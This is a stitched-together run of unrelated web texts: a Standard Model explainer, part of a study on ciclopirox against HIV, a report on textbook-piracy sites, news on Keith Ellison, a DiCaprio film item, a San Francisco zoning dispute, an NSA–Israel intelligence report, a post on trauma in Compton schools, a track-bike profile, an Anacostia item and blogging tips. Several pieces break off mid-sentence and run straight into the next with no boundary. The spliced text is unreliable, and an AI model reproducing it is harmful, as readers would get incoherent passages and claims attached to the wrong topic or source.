"It's simple and powerful, but we know it can't be the complete theory," Newman told Life's Little Mysteries. Believing in the Standard Model "would be like believing in Newton's laws of motion." The laws assume that space and time are separate and immutable entities. This is fine for describing the movements of slow and low-mass objects, but the laws break down for objects approaching the speed of light, or for black holes, which bend space and time. "Newton's laws are beautifully simple and describe so much, but we know it's not the fundamental theory, just the low-energy limit of a more fundamental theory" — that is, Einstein's theory of relativity, which seems to describe space-time exactly. "It's the same thing here. We know there must be a more fundamental theory than the Standard Model."
The Standard Model is incomplete, Newman said, because it doesn't account for the particles that make up 84 percent of the matter in the universe: the invisible substance known as dark matter. It also fails to incorporate gravity. Furthermore, the Standard Model treats matter and its opposit |
of infection and latency [79]. Although Tat and Vpr can each display either anti- or proapoptotic activities depending on the test system [78], [79], in the context of our study the divergence in their levels (Fig. 3C) suggests a functional imbalance between these viral controllers of apoptosis that contributes to the drug-induced apoptotic death of HIV-infected cells (see Discussion).
Termination of infection in drug-treated PBMCs We next asked whether CPX can control established HIV-1 infection in primary cells. Long-term PBMC cultures were employed as a model for on-going, self-sustaining HIV-1 production. As before, infection was initiated by exposure to patient isolate-infected cells. To emulate the bulk flow of susceptible cells from a generative into an infective compartment that occurs in vivo, we followed a replenishment protocol. Freshly isolated uninfected primary cells were infused into the infected cultures at regular intervals during multi-month monitoring of viral parameters. HIV-1 RNA reached the range of 106 copies/ml within a week of patient isolate inoculation (Fig. 7, period 1), and this robust infection was sustained for 4 months (Fig. 7; open squares). PPT PowerPoint slide
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larger image TIFF original image Download: Figure 7. Long-term suppression of HIV-1 infection in PBMC cultures by ciclopirox. Multiple-donor PBMC cultures were infected with isolate #990,010 and replenished with fresh cells and medium as indicated by arrowheads; on each occasion, half of the culture was replaced. After one week (period 1) to establish infection ex vivo, the culture was treated with 30 µM CPX for one month (period 2), then the drug was withdrawn (asterisk) and the culture was assayed for viral copy number during three post-treatment months (period 3) to monitor for re-emerging productive infection. p24 assays: open circle, HIV-exposed untreated cultures; closed circles, HIV-exposed cultures, treated with CPX. HIV-1 RNA assays: open squares, HIV-exposed untreated cultures; closed triangles, HIV-exposed cultures during CPX treatment; open triangles, HIV-exposed cultures after withdrawal of CPX. Arrows a and b denote the detection limits of the p24 and HIV-1 RNA assays, respectively. Due to the continuous replenishment with freshly isolated uninfected PBMCs, the viability of cultured cells was consistently above 90% as assessed by computerized vital dye exclusion. https://doi.org/10.1371/journal.pone.0074414.g007 The introduction of CPX on day 7, adjusted daily to maintain a constant level of 30 µM, reduced the virus to the limits of detectability with a week-to-week median decline of ▵log -1.0 (Fig. 7, period 2); individual decline kinetics varied with the donor-isolate combination. Apoptosis parameters (TUNEL and AVD) did not differ from untreated controls (not shown), attributed to the on-going replenishment of the cultures with freshly isolated PBMCs. In the experiment shown here, HIV-1 RNA levels declined during the four week treatment by four orders of magnitude (Fig. 7; closed triangles), whereas the suppression of p24 occurred within 14 days (Fig. 7; closed circles). We attribute the apparent lag in HIV-1 RNA inhibition to the broad dynamic range of the PCR-based RNA assay (note logarithmic scale) compared to the relatively narrow range of the ELISA-based p24 assay (linear scale), and possibly to the packaging of RNA into apoptotic bodies that protect against degradation by RNases [98], [99]. Mathematical modeling (Fig. S2) indicated that the viral RNA level decreases more slowly than the rate calculated for depletion by medium replenishment, arguing against a protocol-related artifactual decline. Evidently, CPX dramatically suppressed viral production in continuous PBMC culture and did not allow viral breakthrough during prolonged monotherapy (≥30 days, Fig. 7). Similar results were obtained with DEF (not shown). By contrast, breakthrough occurs after as few as 20 days of monotherapy with standard antiretrovirals like lamivudine, emtricitabine, zidovudine, nevirapine, or foscarnet [100]–[103], and is prevented only by combining several of these drugs [104]-[107]. To determine whether any productively infected cells survived the suppressive effect of CPX monotherapy, we examined the possibility of viral resurgence following withdrawal of drug. Cultures were maintained for extended post-treatment observation periods and monitored for the re-emergence of HIV-1 RNA (Fig. 7, period 3). Strikingly, after drug cessation (asterisk in Fig. 7) HIV-1 infection did not recur during post-treatment observation periods extending up to 90 days. Similar results were obtained in repeated experiments (not shown). DEF likewise produced off-drug suppression and consistent with apoptotic ablation of infected cells, reduced HIV-1 DNA to the limit of detection (Saxena et al., unpublished data). By contrast, monotherapy with standard antiretrovirals (including zidovudine, lamivudine, nevirapine, delavirdine, loviride, tenofovir, ritonavir, indinavir, saquinavir, stavudine, festinavir, didanosine, or emitricitabine [108], [109]) uniformly fails to delay resurgence of HIV-1 production for more than 3 days off drug, despite an initial report that HIV-1 “became negative” [110]. Marked reduction of HIV-1 RNA without off-drug resurgence requires combination of several of these antiretrovirals [104]–[106]. We conclude that the apparent functional sterilization of HIV-infected primary cultures treated with CPX or DEF correlates with the preferential apoptotic ablation of HIV-infected cells, and thus the destruction of the proviral reservoir, by each of these drugs.The RIAA's extensive campaign against filesharing has drawn in a lot of individuals, but college campuses have remained a major target of the content owners' legal threats. It's pretty clear that there's significant expertise with filesharing on college campuses, so it shouldn't come as a surprise that this expertise has been put to use with other copyrighted materials. Textbook companies are getting worried about the sharing of their bread-and-butter online, and have started a campaign designed to block the sharing at its source.
Textbook Torrents (catchphrase: "because you can't torrent beer") is one of the sites mentioned in a report by The Chronicle of Higher Education, and its administrators clearly view themselves as providing a public good. The site's rules page exhorts users who've saved money by downloading texts there to go out and spend the equivalent money on a scanner. "Scan as many of your other textbooks as you can, and put them up here for others to benefit from," it reads. "There aren't very many scanned texts out there, so let's change that." Anyone who manages to find all their books through the site are encouraged to go out and buy a text simply to contribute it to TT's collection.
The site urges users to contribute as much as they get with a somewhat ironic exhortation: "Karma will pay you back, sooner or later." Indeed, it apparently has. The front page announces that they've recently had to pull a number of torrent links due to a request from Pearson Education, an academic publisher. Although the administrator suggested the request was on "extremely shaky legal ground," the announcement included a vow to prevent the server logs from becoming public, suggesting that TT is aware that it's abetting activities that could land people in legal hot water. This is also clear from the fact that they reject access from IP addresses identified in Peer Guardian's database of copyright enforcement groups.*
Also mentioned was the Scribd online document sharing service. A quick search for the term "Genetics" revealed a variety of copyrighted materials there, ranging from Genetics for Dummies up to all 1,367 pages of Genetics: Principles and Analysis. Scribd takes a very different view of copyright than Textbook Torrents, promising to remove any content that is uploaded without the copyright holder's permission and banning users that repeatedly run afoul of that rule. Still, it's very clear that, in the absence of Scribd being notified of infringing materials, these sorts of violations proliferate.
So far, publishers have largely acted on an ad hoc basis and targeted the sites making the material available, rather than the students themselves. They also seem to be content with takedown requests, rather than more aggressive legal actions. The lack of more aggressive action, however, may be the result of the relatively small magnitude of the problem. In contrast to ripping an MP3, scanning a textbook is a major task that requires a significant personal involvement, placing it beyond the attention span of many college students.
That barrier to the availability of the material is unlikely to last. More publishers are working to make their materials available to universities in electronic form; the Genetics text mentioned above appears to have been a professionally prepared PDF. As access to electronic texts increases, problems with their sharing will likely rise in parallel.
*Update: This statement has since been removed from the site's FAQ, and its administrators claim that this practice ended a while ago.– Rep. Keith Ellison was willing to give up his U.S. House seat to become the Democratic Party's national leader — a political gamble that the six-term congressman lost over the weekend.
Ellison fell short of the votes needed to run the Democratic National Committee in a contest here Saturday. The job went to former Obama Labor Secretary Tom Perez, who immediately appointed Ellison as his deputy.
In an interview Sunday, Perez said he had big plans for Ellison as his deputy, including letting him run point on the party's grass-roots organizing efforts.
Perez also noted he wanted to make Ellison the "face of the Democratic Party."
While serving as DNC deputy, Ellison will keep his Fifth Congressional District seat. This forces Ellison into a potentially awkward position in his home district of Minneapolis, where he will have to rebuild a local platform and repledge to serve his loyal constituents, who have re-elected him to Congress six times.
"If anything, he's helped himself," said state Sen. Scott Dibble, who lives in Ellison's district and was mulling a run for his seat if Ellison had resigned. "His work has always been about energizing folks and energizing people at the grass roots. That's why people support him so strongly in this district."
U.S. Rep. Keith Ellison will keep his seat after losing the vote to lead the DNC.
He noted that there was a welcome home party for Ellison at Minneapolis-St. Paul International Airport on Sunday.
Ellison first got into the Democratic National Committee race four days after President Trump was elected in November. At first, Ellison said he could simultaneously be a congressman and chief of the Democratic Party. He argued that he would have a robust team and he could continue voting and serving his roughly 600,000 constituents on Capitol Hill while also steering the Democratic Party nationally.
But DNC delegates had reservations about that idea. The party had just weathered historic losses up and down ballots across the country and there was a sense among the more than 440 voting members that a full-time chairman was needed to bolster the party's strength.
So former Minneapolis Mayor and DNC Vice Chairman R.T. Rybak, who was advising Ellison from the beginning, and others encouraged him to offer to give up his seat if he won. It wasn't easy to convince Ellison that was the right call, Rybak said.
"Keith never set out to leave Congress, and a number of us helped convince him that to do this job, you'd have to do that," Rybak said. "He will have no problem getting re-energized in that kind of work and I think the district fully understands that he unwillingly was going to give up his seat."
Rybak points out that Minneapolis stands to gain with an elevated politician — particularly one with a new national title as deputy chairman of the DNC.
"Now he's a very national figure who is clearly seen far and wide as a person who can energize and mobilize younger voters, especially voters of color, and he'll be called on across the country," he said.
Doug Daggett, a Republican who ran against Ellison a few years ago, said on Sunday he applauded Ellison for being willing to give up his House seat for the DNC job, but said it's fair to question his commitment to the House job now.
"Why would he be willing to give that job up?" he said. "Really, Keith is the only one who can answer that."
Ellison, who did not grant interviews on Sunday, called his work a "mission of love" and said he will always be passionate about igniting a fire in people who may not otherwise be engaged in politics.
"What about that guy on the corner, pants sagging, everybody is scared of him," Ellison said to supporters earlier this weekend. "They think he's trouble. But you might find out if you talk to him that he's the best door-knocker and canvasser that you've ever had."
Perez underscored Ellison's importance to the party's future. "We have to make sure we turn these moments into a movement. We have to make sure Democrats are conspicuously helping in all of these emerging activities, and I'm hard-pressed to think of someone better suited to help lead that effort," he said.
"He's such an eloquent spokesperson," Perez added. "We need many faces of the Democratic Party and so I think we're incredibly blessed to have the opportunity to create the synergies that together allows us to do what we need to do."Leonardo DiCaprio to produce and star in JFK assassination movie
By Liz Kelly
DiCaprio in 2009's 'Revolutionary Road.'
Leonardo DiCaprio has signed on to produce and star as an FBI informant helping to solve the murder of John F. Kennedy in "Legacy of Secrecy," based on the 2008 Lamar Waldron/Thom Hartmann book.
In the movie, DiCaprio would play FBI informant Jack Van Laningham, who claims to have witnessed the confession of Mafia godfather Carlos Marcello for the assassination of President John F. Kennedy -- which, coincidentally, took place 47 years ago today.
According to FirstShowing.net, the book was brought to Leo's attention by his dad and contains "new and recently declassified" information from the FBI and National Archives:
Apparently the confession came about after a dangerous and long-secret undercover operation, wherein the FBI positioned Van Laningham to become confidant to Marcello, who ruled organized crime in Louisiana and most of Texas for decades. The 1979 House Select Committee on Assassinations said mobster Santo Trafficante and Marcello "had the motive, means, and opportunity to assassinate President Kennedy."
The hyper-busy "Inception" star has already signed on to star as the title character in Clint Eastwood's "Hoover" and as Jay Gatsby in Baz Luhrmann's upcoming "Great Gatsby" redux. He's also slated to portray country's first serial killer in the screen adaptation of Erik Larson's bestselling "Devil in the White City."
Warner Bros. is looking to release "Legacy of Secrecy" in 2013 -- which would be the fiftieth anniversary of JFK's death.
Source: FirstShowing.netSomething strange happened yesterday when the Board of Supervisors prepared to take up the ongoing effort to block the construction of two single-family houses on undeveloped land along Folsom Street, near the intersection with Chapman.
As Bernalwood described earlier in the week, a group of nearby neighbors have opposed the construction of two new homes at 3516 and 3526 Folsom, and they recently appealed to block the project based on concern about Line 109, a PG&E gas pipeline that runs underneath the South Bernal length of Folsom Street — and alongside the lots where the two homes would be built. PG&E has said that the pipeline is safe and inspected regularly, and that building homes alongside the pipeline route would be routine.
Last year, after compiling a 903 page project docket and twice voting unanimously to approve on the matter, the San Francisco Planning Department gave the plan to build the houses an unequivocal thumbs-up, in the form of a Categorical Exemption that eliminates the need for an expensive and time-consuming Environmental Impact Report.
All that was the backdrop going into yesterday’s meeting, where neighbors who oppose the new homes brought their last-ditch appeal to the Board of Supervisors in the hope that the Supervisors would vote to overturn the Planning Department’s Categorical Exemption and send the project back for further environmental review.
Yet as soon as the full Board of Supervisors began to consider the matter, it immediately turned weird. Lisa Gibson, a representative from the Planning Department announced that it was reversing itself, and summarily rescinding the Categorical Exemption that it had previously issued.
The sudden move appeared to come as a surprise to everyone — project sponsors, appellants, and Supervisors alike — and much chaos then ensued.
D9 Supervisor Hillary Ronen spoke up to say that while she felt further environmental review of the project seemed necessary, the Planning Department’s last-minute move to reverse itself was “incredibly unprofessional and frustrating.” In response, Lisa Gibson, the Planning Department’s acting environmental review officer, took to the mike to explain that the decision to withdraw the Categorical Exemption had been made on that same day, based on concerns expressed in two December 2016 letters from project opponents, and as a result Planning wanted to explore the risk of potential “vibratory impacts” on the adjacent pipeline that might occur while the homes are under construction.
The explanation seemed to put Supervisor Ronen at ease. Although she again expressed frustration with the last-minute action on the part of the Planning Department, she added that “additional environmental review is required, because if [Planning] is finding that there is an unusual circumstance that requires additional investigation on the environmental impact of this project, then perhaps a Categorical Exemption is not appropriate.”
There was also a lot of frustration among the members of the public who had come to comment on the project, however. Lawyers for the families hoping to build the new houses said they had only been notified about the Planning Department’s decision to rescind the Categorical Exemption at 2:30 that day, or 30 minutes after the Board of Supervisors meeting had started.
An exasperated man, who appeared to represent the project sponsors, complained that the circuitous planning process had already resulted in a two-year delay and significant additional cost. “We’ve been here for two years now, waiting for two single-family houses,” he said. “Go and explain that to the mother of those children, who are wondering where are they going to live and what’s going to happen here.”
Meanwhile, several project opponents, including a representative from the executive committee of the San Francisco Sierra Club, said that while they were happy about the outcome, they were sad to have wasted an an otherwise lovely afternoon attending a meeting that was moot from the outset.
And so, with no Categorical Exemption to uphold or deny, the Board of Supervisors voted to table the matter. In practical terms, that leaves the proposal to build the two homes on Folsom in limbo, again, as Planning will require further environmental study before taking it up again.
Yet what really happened? Why did the Planning Department reverse course on its Categorical Exemption, and at such a late hour? It’s difficult to know for sure, but sources familiar with San Francisco’s planning process say such last-minute reversals are unusual, and may indicate Planning Department staff had come under pressure from other City officials to subject the project to further scrutiny.The United States National Security Agency routinely shares intelligence data with Israel without first sifting through it to remove information about US citizens or the citizens of close allies including Australia, according to a top-secret agreement disclosed by US intelligence whistleblower Edward Snowden. Details of intelligence-sharing between the National Security Agency and its Israeli counterpart, the Israeli Signals Intelligence National Unit, published by The Guardian newspaper show the US government hands over to Israel "raw" or "unevaluated and unminimised" signals intelligence including "transcripts, gists. facsimiles, telex, voice and Digital Network Intelligence (DNI) metadata and content". With much of the world's internet traffic passing through US telecommunications networks, large volumes of purely US domestic communications as well as the communications of US allies including Australia are collected by the NSA's surveillance programs. The leaked memorandum of understanding, which formalised an in-principle agreement between the US and Israel in March 2009, sets out requirements "pertaining to the protection of US persons" and stresses the constitutional rights of Americans to privacy and the need for Israel to respect those rights. The memorandum further states that the Israeli Sigint National Unit recognises that the National Security Agency has agreements with Australia, Canada, New Zealand and Britain that require it to protect information associated with persons of those US allies "using procedures and safeguards similar to those applied for US persons". "For this reason, in all uses of raw material provided by NSA, [the Israeli Sigint National Unit] agrees to apply the procedures outlined in this agreement to persons of these countries," the document states. However, the disclosure that the NSA provides raw intelligence data to a foreign country outside the close 5-Eyes partnership contrasts with assurances from President Barack Obama's administration that there are rigorous safeguards to protect the privacy of US citizens. The agreement is explicit in stating that the intelligence being shared would not be filtered or "minimised" in advance by NSA analysts to references to US persons or allied nationals. Moreover the agreement contains no indication that the Australian Signals Directorate or the NSA's other "5-Eyes" partners have been consulted on or agreed to the US-Israeli agreement. The supply of raw intelligence to Israel appears to undermine both agreements between the 5-Eyes partners concerning reporting on their own citizens and the Australian Signals Directorate's own ministerial rules to protect the privacy of Australians. The memorandum of agreement refers to only one check carried out by the NSA on the raw intelligence, saying the US agency will "regularly review a sample of files transferred to [Israeli Sigint National Unit] to validate the absence of US persons' identities". There is no reference to any checks relating to the handling of signals intelligence relating to Australian persons or other allied nationals or notification of any breaches of procedure in such cases. The memorandum of understanding allows Israel to retain "any files containing the identities of US persons" for up to a year. The same provision applies to information concerning Australian persons. Although the memorandum states that US sourced intelligence must be handled in accordance with US law, and that the Israelis agreed not to target Americans identified in the data, these rules are not backed up by legal obligations. "This agreement is not intended to create any legally enforceable rights and shall not be construed to be either an international agreement or a legally binding instrument according to international law," the document says. Although Israel is one of America's closest allies, it is not a member of the longstanding intelligence partnership between the US, Britain, Australia, New Zealand and Canada. Israel has also repeatedly engaged in intelligence operations directed at the US and its allies. Other top-secret NSA documents reported by The Guard-ian suggest that the US-Israeli signals intelligence co-operation has been "tilted heavily in favour of Israeli security concerns" and that while Israel is an "extraordinarily good" intelligence partner "they target [the US] to learn our positions on Middle East problems". "A NIE [National Intelligence Estimate] ranked them as the third most aggressive intelligence service against the US," one NSA official is quoted saying. Israeli intelligence activities in Australia have also attracted attention in recent years. On May 24, 2010, former foreign affairs minister Stephen Smith told Parliament that the government was "in no doubt that Israel was responsible for the abuse and counterfeiting of [Australian] passports" in connection with the assassination of Hamas leader Mahmoud al-Mabhouh in the United Arab Emirates. Mr Smith further announced that a senior Israeli diplomat was being expelled in response to Israeli's actions and refusal to co-operate with Australian investigations. The diplomat, given one week to leave Australia, was embassy counsellor Eli Elkoubi, an officer of the Israeli foreign intelligence service Mossad. Allegations of Israeli intelligence activity in Australia have also arisen in relation to the case of Australian Mossad agent Ben Zygier who, prosecuted by Israel for espionage offences, killed himself in a Tel Aviv jail in December 2010. The Israeli Justice Ministry this week confirmed that Mr Zygier's family will receive $1.2 million compensation as a consequence of his death in custody.
https://nnimgt-a.akamaihd.net/transform/v1/resize/frm/silverstone-feed-data/777c918f-5015-4e9f-9632-ec01528ad29d.jpg/w1200_h678_fcrop.jpgYou may have noticed the recent media attention being paid to the Compton Unified School District lawsuit (NPR and LA Times ). The lawsuit has been filed on behalf of eight Compton students and alleges that the school system failed to properly educate students who suffered from repeated violence and other trauma.
Public Counsel, the pro bono law firm that filed the lawsuit (along with Irell & Manella LLP), is asking a Federal judge to grant an injunction that will require the school district to provide training to teachers, administrators and other staff. Echo Parenting & Education is currently in discussion with Public Counsel about what that training might look like, given our experience in conducting trauma-informed nonviolent training for the staff of Sally Ride Elementary, our pilot project for the Whole School Initiative.
Our goal in these trainings is not to tell teachers and others how to do their jobs, but to act as a resource to help district staff recognize and understand the effects of trauma (as specified in the injunction), as well as to provide a trauma-informed nonviolent frame to understand what lies beneath the behavior of all students. Together, we can ensure that children are not further punished for the outworkings of pain, numbness and anger that are the natural consequences of trauma, which can include witnessing community violence and experiencing racism and bullying, but also overly-harsh and misattuned parenting.
It has taken this lawsuit to highlight the plight of the many children who arrive at school with scenes of violence etched in their memories, or feelings of powerlessness in the face of abusive adults or systems. They are primed and ready to blow or have found that the way to survive is to disengage entirely. The conversation is happening at long last, and all kudos to those brave Compton students and the valiant, pioneering pro-bono lawyers, not to mention the long-suffering teachers and parents.
We wholeheartedly agree with the argument that accommodations should be made for students who have experienced trauma, but what we are concerned about is that this litigation is seen as testing whether ‘complex trauma’ should qualify as a disability under the Americans With Disabilities Act.
We must be careful that trauma, this rage and numbness that is (as Bessel van der Kolk says in “The Body Keeps the Score”) “honestly come by”, does not become another label to stigmatize and to point blame at some perceived defect in the students, or worse still, a whole community.
Our board chair, Carol Melville, had this to say about the press coverage: “Trauma does not fit into the current legal category of either mental or physical disability. But to diagnose the student is to miss the point that their difficulties are a normal response to extreme stress, that this stress is part of their daily life, that the expectations of the district with regard to how children behave or can behave under those circumstances are erroneous, and that we are NOT doing enough to help.
“It also misses the point that a shift in the district’s approach would benefit all students, and that we are dealing with an antiquated way of addressing behavioral issues — ignoring research on development and the brain.
“There is some reference to training already being done in certain school districts, but there is no discussion about how in some cases this is only a band-aid approach, nor about the complexity of this work, nor about the real needs that all students have (especially those dealing with trauma and toxic stress) with regard to support in order to be able to learn.”
Since Echo is gearing up to begin a two-year training of all 300 psychiatric social workers in the Los Angeles Unified School District, we know full well how complex it is to create systemic change and that it goes beyond training the staff of individual schools to include school and school district policy changes.
We also know how vital parents are in this equation, not only because connected, attuned relationships with a primary caregiver create resiliency in children, but also for the sustainability of the project: The alumni of our parenting education classes at Sally Ride Elementary have risen up as parent leaders to support the administration and are learning how to advocate for the rights of their children to a physically and emotionally safe place to learn.
And there really are no enemies in this work. We all want the best for our children and the children in our care, including the good people at Compton Unified. Echo salutes everyone who is struggling, often with limited resources, to educate children, and everyone involved in the effort to create trauma-informed schools. In this struggle, we ask that we don’t lose sight of that fact that none of us have asked for the trauma we experienced in childhood, nor have we wished to visit it on our children. It is not a disability, a disadvantage or irreversible damage. It is, in fact, as the CDC-Kaiser Permanente Adverse Childhood Experiences Study shows, all too normal and common.
Let this not be a test case for more psychological labels with pharmaceutical remedies, but a test case for the resilience of the human spirit and our desire to break cycles of trauma in our families, systems and communities.Note: Kell O’Brien won the 2015 Junior World Championships Gold in the Team Pursuit & Madison along with bronze in the Individual Pursuit. He also won the prestigious Champion of Champions award – the prize awarded to the most consistent rider (U19 & Elite) at the Australian Track Cycling National Championships.
With all the new bikes being unveiled before Rio it’s easy to lose sight of the fact that these bikes offer marginal improvements on what were already aerodynamic super machines. The Danes have their new Argon 18s which appear to have been modelled on their previous Cervelo T4s (which probably tells us something about the T4), the US Female Pursuit team has their radical new Felt Team Pursuit machine, the Aussies have their updated super low frontal area BT Ultras and the British team have yet to announce what could be a new and improved Cervelo.
With all the current discussions surrounding the massive amounts of money being spent by the world’s track cycling super powers in the chase for Olympic Gold, back in the real world athletes can still obtain off the shelf machines worthy of a World Championship winning ride. As anyone who reads these pages will know, part of the beauty of track cycling lies in the fact that equipment plays a far smaller role in the outcome of each event than what it does in other disciplines of the sport.
One such example of a commercially available machine is the Cervelo T4 as ridden by 2015 dual World Junior Champion, Kell O’Brien of Australia. This bike is set up with top end yet fairly standard equipment easily available to any rider. O’Brien is not sponsored by Cervelo so when he chose his new bike he simply looked for a frame that would provide him the best fit and stable handling.
As O’Brien put it: “The Cervelo is the best all round bike for track cycling as it provides the best fit. All I need to do for switching between my bunch position and pursuit position is just a change of bars. It’s really easy. It’s also incredibly stiff which is great for all the events I ride.”
The bike uses standard Dura Ace 172.5mm cranks. (Note: Since these photos were taken, O’Brien has now started using an SRM power meter.) O’Brien runs this crank length for both pursuiting and bunch events. The chain is an Izumi Super Tough coupled with a connector link. The Super Tough is reliable, strong and includes a handy connector pin for quickly changing chains (although O’Brien has replaced it with the connector link). This is also the chain used by the Australian National Elite Track Team which reflects its quality.
The bottom bracket drop on the T4 is 60mm which is around 10-20mm more than most other track frames on the market. This places the rider closer to the ground which adds to the frame’s handling stability and improve’s aerodynamics at speed. This lower bottom bracket design is a real departure from traditional track frame design which calls for the clearance provided by a high bottom bracket.
Dura-Ace pedals have been chosen for the stable platform they provide. Unlike the LOOK pedals which have a similar platform, the pedal/cleat interface on Shimano pedals tends not to be prone to developing side to side “rocking” between the cleat and pedal. O’Brien runs with the red Shimano cleats which offer 0 degrees of float.
“I run the red cleats on the track because like everything I have in the track I like it to be rigid and tight. I have laces on my shoes to get them extra tight, I even bought my track shoes half a size too small to get a very snug fit. That way It feels like all the power is going through the bike.”
The BT aero bars look almost out of place on this frame but they are rock solid and their deep drop allows O’Brien to get maximum leverage when launching out the start gate. It’s not uncommon for riders to not fully trim their steerer tube on bikes they use for both pursuits and bunch races (as O’Brien does). Aerodynamically it’s less than optimal but it’s practical when changing between positions.
O’Brien pays considerable attention to ensuring his aero bars are within 85cm in front of the bottom bracket. At 190cm O’Brien is a tall rider and the UCI rules are nearly always very difficult to deal with for such a tall riders.
O’Brien sets the seat at 5cm behind the bottom bracket which is the minimum distance permitted by the UCI. The saddle position is constant between his bunch and pursuit positions. O’Brien explained that the seat was set during a bike fit and since then it hasn’t been changed. This explains the position of the rails and seat post clamp.
The rear cog in this setup is just a standard, no name cog. During last year’s gold medal winning Team Pursuit final in Astana, O’Brien rode a 100 inch gear for a 57.6km/h average speed over the 4km (4min, 10 seconds). During his gold medal winning Madison ride (together with Rohan Wight) O’Brien rode a slightly smaller 98 inch gear.
Interestingly, Cervelo has chosen to run aluminium dropouts with no steel shims to protect the dropout faces. Although they supply a chain tensioner so there is less need to over tighten the rear wheel nuts, I have yet to see a single rider use it. Drop outs that receive high use will require filing before too long. For most riders this won’t be a problem but for riders such as O’Brien who spend a large amount of time on the track throughout the year this dropout design choice can be problematic.
The lenticular shape of the rear Mavic Commete does not fit properly into the frame so the rear wheel needs to be positioned far back in the rear drop outs. For flat disc wheels or spoked wheels this frame does not present a problem but the shape rear chain stays will not properly accomodate the width of the Mavic (and Pro) disc wheels unless the wheel is pulled back in the frame. O’Brien rides the largest sized T4 where this design requires him to pull the rear wheel back as far as possible to achieve adequate clearance under load. This leads to less adjustability so O’Brien needs to use two different chains to suit various gear combinations. The smaller frame sizes do not have the same problem.
The Cervelo’s bottom bracket shape has up until now been unique. Argon 18’s new track frame design for the Danish Olympic Team appears to be modeled on this shape. (note: the Danes rode Cervelo T4s to a Team Pursuit bronze at the 2016 World Championships in London.
The T4 was designed with aerodynamics in mind which explains why it is not uncommon to see small chips on the front of the forks from hitting the frame when they inevitably spin backwards when handled & stored. Although not ideally practical (in the event of a crash), this frame seems to have been built for speed first which may help explain why so many of the world’s elite endurance riders ride these frames.
O’Brien runs a narrow stance set on his aerobars as he is flexible and strong enough to hold a highly aerodynamic position that many riders would find difficult to achieve. It is quite common amongst pursuiters to use skateboard grip tape in lieu of bar tape.
Yep, that’s an Australian flag on the back of O’Brien’s bike. It’s good to be a Aussie!
The Mavic double disc setup is the standard choice amongst many of the world’s best.
Machine and man in action. O’Brien riding the T4 to a 3:20 3km Pursuit at the 2015 Victorian Track GP in November 2015. He rode 3:16 at the 2016 Australian Track National Championships.
Overall, this is one of the top off the shelf racing machines on the market and this is reflected by the high number of elite endurance riders riding these bikes at the 2016 Australian National Championships and the 2016 UCI World Championships in London. This demonstrates that this frame has commanded a lot of respect from the high performance (endurance) track cycling community.
The geometry of the T4 has been well thought out in that it sees a lower bottom bracket, slacker head angle, longer reach and shorter head tube. This suggests that this frame has been built from the ground up as a race machine by people who have done their homework with regards to bike fit and stable handling. It will be interesting to see how Cervelo thinks they can improve on this frame for the Rio Olympic games.DC, Prince George’s County, and Montgomery County want to ensure the Anacostia River doesn’t look like this anymore. Image by David licensed under Creative Commons.
The Anacostia River is polluted, but cleaning it up is hard because DC and Montgomery and Prince George's counties are all responsible for it. But the three are working together to change that.
In October, leaders from each jurisdiction signed the Anacostia Accord, a formal commitment to support one another's efforts to work with regional businesses, individuals, and organizations to find ways to clean up the entire length of the Anacostia (and to keep it clean). It will mean sharing best practices, working on region-wide legislation, and making sure the way each calculates pollution reduction is consistent with the others.
Trash in the |
write about what our readers like. There are many who have the privilege of being great writers, who can please any reader. But even with the great skill, it’s not possible to cater everybody. Readers of our blogs prefer to read a specific content in your blog. You know what your readers actually want to see on your blog? Learn how you can find out the interest of the readers, so you can satisfy them.
As everyone knows, it is impossible to please all readers of our blogs to an article, so we create content that can satisfy each of our readers. But for this you need to know what your visitors would like to read your blog, and what content they most admire and prefer to see. You may be posting on a subject that is not of interest to its readers, leading them not access your blog, or not interact. If you still have no idea what your visitors want to read on your blog, it’s time to find out.
Why is it so important to understand what your visitors like to read in your blog?
When writing an article, you’re probably trying to please your readers. The concern is: “Will my readers will enjoy this article?” “ll it will help several people with the publication?”. You will only know that answer, if you know your readers and their tastes. There are many readers demanding and difficult to please, but you can please everyone. There will be a lot of them prefer to read certain content, and few others will prefer reading something different from most. Each has a taste but you can satisfy all your readers. It’s time for you to know the readers of your blog, so you can please everyone. Learn how you can discover the tastes and preferences of your readers.
Make polls.
Polls are the easiest ways to find out what your visitors really want to read in your blog. A simple poll asked “What content would you like us to approach our next article?” already give you an idea of what your visitors really want to read in your blog, and you do not waste time writing posts that will not become popular. If you prefer, you can make a page just to polls, article, or put it in the sidebar of your blog. Either means will generate good reviews.
Analyze the most talked about and praised articles.
Obviously, the items most commented and thanked with visitors, will be those that they most liked to read. We do not often praise an article when it is bad, or do not like to read it. When you see the items in your visitors interact more, you can create new posts covering topics similar to these articles that were well accepted by your audience. Just be careful not to override it, and publish daily articles only on this particular subject. Diversify, but also give your visitors like.
Use social networks to question.
As we always say here, social networks, certainly, will bring more interaction between you and your readers. They may make you and your fans contact you directly. You can enjoy it, to ask them what they most love to read in your blog, and what new content you could address. This is a quick and simple way to collect a large number of reviews of loyal readers of your blog. Try this type of contact, you can get a good result with this research.
See what articles are most widely read by readers.
To enjoy a post, it is common for readers to disclose their social networks, so that a larger number of people may have the pleasure to meet you. Your readers will not disclose the posts that they dislike. See the number of disclosures that each of your posts have, and look for those that most were released. By having a list of these posts, you know what your visitors like best to read in your blog, and this may cause you to address issues of gender in the blog. However, not always the most publicized posts will be the best. There may be many posts that were not disclosed to the readers, and are of great quality. This happens often because the post is not well known, or because it was published in the first days of life blog.
Try to address issues never used before by you in your articles.
Often your visitors are not sure what content they prefer to read in your blog. They may like a certain content, but to see something new that you can now enjoy and admire them more. If your blog is with little interaction, few comments, try creating a new content, innovate. Write on a sheet of paper some content related to your blog, but you never wrote about them and see if you can create a quality article on that topic. Who knows, you may bring some commentators to your blog in order to read the contents again. Think also of the possibility of creating a series of articles, they create a good acceptance, and also more loyal readers to your blog.
Also try checking the articles rejected by most readers.
Check the items that were rejected by visitors, or receiving no interaction, can give you an idea of what your visitors do not like. Given the very content that pleases visitors, you already know what not to write, or write less frequently. If the content is not interesting to your reader, not worth it to publish it. Nobody takes a content in the air wanting to satisfy himself, and yes, a group of people who may be interested in your writing.
You already know what your readers really want to read in your blog?
This is a difficult task to accomplish, so it is necessary to examine various factors to know what your visitors really want to read on your blog. Following the above tips, you can learn more about visitors, and what they care about.
Do you have another method to get to know your readers? Share it with us!The University of Washington and Coach Mike Hopkins received a commitment late Friday night from New York Wing Nahziah “Nahz” Carter.
